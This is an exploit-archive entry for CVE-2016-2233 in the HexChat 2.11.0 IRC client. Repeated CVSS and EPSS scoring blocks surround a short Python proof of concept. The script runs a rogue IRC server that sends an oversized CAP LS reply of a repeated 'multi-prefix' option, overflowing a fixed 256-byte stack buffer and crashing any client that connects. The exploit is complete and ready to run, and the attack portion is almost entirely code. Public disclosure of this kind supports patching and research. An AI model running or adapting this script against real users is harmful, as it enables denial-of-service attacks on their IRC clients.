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Hexchat IRC Client 2.11.0 - CAP LS Handling Buffer Overflow

2016-04-0400:00:00
PizzaHatHacker
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5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

0.018 Low

EPSS

Percentile

88.3%

#!/usr/bin/python
#
####################
# Meta information #
####################
# Exploit Title: Hexchat IRC client - CAP LS Handling Stack Buffer Overflow
# Date: 2016-02-07
# Exploit Author: PizzaHatHacker
# Vendor Homepage: https://hexchat.github.io/index.html
# Software Link: https://hexchat.github.io/downloads.html
# Version: 2.11.0
# Tested on: HexChat 2.11.0 & Linux (64 bits) + HexChat 2.10.2 & Windows 8.1 (64 bits)
# CVE : CVE-2016-2233

#############################
# Vulnerability description #
#############################
'''
Stack Buffer Overflow in src/common/inbound.c :
void inbound_cap_ls (server *serv, char *nick, char *extensions_str, const message_tags_data *tags_data)

In this function, Hexchat IRC client receives the available extensions from 
the IRC server (CAP LS message) and constructs the request string to indicate
later which one to use (CAP REQ message).
This request string is stored in the fixed size (256 bytes) byte array
'buffer'. It has enough space for all possible options combined, BUT
it will overflow if some options are repeated.

CVSS v2 Vector (AV:N/AC:L/Au:N/C:P/I:P/A:P)
CVSS Base Score : 7.5
Impact Subscore : 6.4
Exploitability Subscore : 10
'''

####################
# Proof of Concept #
####################
'''
* Install Hexchat IRC Client
* Run this Python script on a (server) machine
* Connect to the server running the script
* Results : Hexchat will crash (most probably access violation/segmentation fault)
'''

import socket
import sys
import time

# Exploit configuration
HOST = ''
PORT = 6667
SERVERNAME = 'irc.example.com'
OPTIONS = 'multi-prefix ' * 100 # 13*100 = 1300 bytes > 256 bytes

# Create server socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
	sock.bind((HOST, PORT)) # Bind to port
	sock.listen(0) # Start listening on socket
	
	print 'Server listening, waiting for connection...'
	conn, addr = sock.accept()
	
	print 'Connected with ' + addr[0] + ':' + str(addr[1]) + ', sending packets...'
	conn.send(':' + SERVERNAME + ' CAP * LS :' + OPTIONS + '\r\n')
	
	# Wait and close socket
	conn.recv(256)
	sock.close()
	
	print 'Done.'

except socket.error as msg:
	print 'Network error : ' + str(msg[0]) + ' ' + msg[1]

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

0.018 Low

EPSS

Percentile

88.3%